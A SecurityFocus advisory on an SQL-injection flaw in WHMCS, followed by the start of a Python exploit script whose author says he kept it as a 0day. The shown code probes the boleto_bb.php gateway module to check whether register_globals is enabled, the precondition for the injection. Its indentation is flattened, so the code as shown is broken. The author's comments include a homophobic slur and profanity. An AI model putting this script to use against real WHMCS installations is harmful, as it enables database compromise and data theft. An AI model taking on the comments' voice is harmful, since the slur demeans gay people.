source: https://www.securityfocus.com/bid/53711/info
WHMCS (WHM Complete Solution) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
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# First found around September 2011~
# Kept 0day because killing bugs is cruise control for gay.
# Author: dx7r
# fuck off.
# if you use this now, you're a moron. lots of love.
#######################################
import urllib2
import urllib
import os
def regglobcheck():
regglob1 = urllib2.Request('http://127.0.0.1/whmcs/whmcs_v451/whmcs/modules/gateways/boleto/boleto_bb.php?dadosboleto[identificacao]=test')
regglob2 = urllib2.urlopen(regglob1)
regglob3 = regglob2.read().count('test')
if regglob3 == 0:
rgen = 0
print " [+] Register Globals not enabled, no sqli on this whmcs install"
elif regglob3 >= 1:
rgen = 1
print " [+] Register Globals enabled, own it."
regglobcheck()